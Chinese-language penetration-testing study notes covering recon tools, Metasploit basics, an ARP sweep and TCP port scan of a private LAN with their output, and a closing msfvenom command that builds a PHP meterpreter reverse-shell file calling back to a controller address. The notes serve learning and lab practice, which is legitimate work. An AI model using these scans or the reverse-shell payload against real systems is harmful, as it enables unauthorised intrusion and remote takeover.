工具：netcat
用途 ：端口连接、数据提交
工具nmap
用途：端口扫描、服务识别、操作系统指纹识别
工具 httprint
用途：通过远程http指纹判断http服务类型
工具： tamper ie
用途： http数据包修改、转发工具firefox插件
2.MSF命令
msfconsole 进入
0.help /?
1.search help search 搜索
2.info 查看模块详细用法
3.use 使用
show options查看参数
4.set x y 设置参数
set rhost 192.168.0.1
5.run /expoit
6.back 退回主界面
7.quit/exit 退出msf
2.信息收集
用来发现主机的
use auxiliary/scanner/discovery/arp_sweep
例子：
msf6 > use auxiliary/scanner/discovery/arp_sweep
msf6 auxiliary(scanner/discovery/arp_sweep) > show options
Module options (auxiliary/scanner/discovery/arp_sweep):
Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
SHOST no Source IP Address
SMAC no Source MAC Address
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 5 yes The number of seconds to wait for new data
rhosts threads timout是必填项
msf6 auxiliary(scanner/discovery/arp_sweep) > set rhost 192.168.50.1/24
rhost => 192.168.50.1/24
msf6 auxiliary(scanner/discovery/arp_sweep) > run
[+] 192.168.50.1 appears to be up (LANNER ELECTRONICS, INC.).
[+] 192.168.50.1 appears to be up (LANNER ELECTRONICS, INC.).
[+] 192.168.50.2 appears to be up (HUAWEI TECHNOLOGIES CO.,LTD).
[+] 192.168.50.3 appears to be up (Cisco Systems).
[+] 192.168.50.21 appears to be up (UNKNOWN).
[+] 192.168.50.23 appears to be up (UNKNOWN).
[+] 192.168.50.25 appears to be up (UNKNOWN).
[+] 192.168.50.26 appears to be up (UNKNOWN).
[+] 192.168.50.29 appears to be up (UNKNOWN).
[+] 192.168.50.30 appears to be up (UNKNOWN).
[+] 192.168.50.35 appears to be up (UNKNOWN).
[+] 192.168.50.37 appears to be up (UNKNOWN).
[+] 192.168.50.68 appears to be up (UNKNOWN).
[+] 192.168.50.53 appears to be up (VMware, Inc.).
[+] 192.168.50.74 appears to be up (UNKNOWN).
[+] 192.168.50.96 appears to be up (AIO LCD PC BU / TPV).
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completedmsf6 > search portscan
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
3 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
4 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
7 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator
Interact with a module by name or index. For example info 7, use 7 or use auxiliary/scanner/http/wordpress_pingback_access
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin
g-metasploit.html
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.50.96
rhosts => 192.168.50.96
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.50.96: - 192.168.50.96:135 - TCP OPEN
[+] 192.168.50.96: - 192.168.50.96:139 - TCP OPEN
[+] 192.168.50.96: - 192.168.50.96:445 - TCP OPEN
[+] 192.168.50.96: - 192.168.50.96:1027 - TCP OPEN
[+] 192.168.50.96: - 192.168.50.96:5040 - TCP OPEN
[+] 192.168.50.96: - 192.168.50.96:8900 - TCP OPEN
[*] 192.168.50.96: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed正向攻击 控制机直接控制靶机
反弹攻击 控制机打开端口 靶机运行木马 反向连接控制机
制作木马、获得反弹链接的shell
完整流程如下：
1.msfvenom 生成木马文件
2、msf监听指定端口
3、访问木马文件、获得meterpreter连接
不用启动msf交互终端msfconsole就可以制作木马
使用msfvenom
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.11 lport=7777 -o shell.php
启动lhost 和lport为 控制机地址和端口号。前提是控制机需要开启7777这个端口号的监听程序
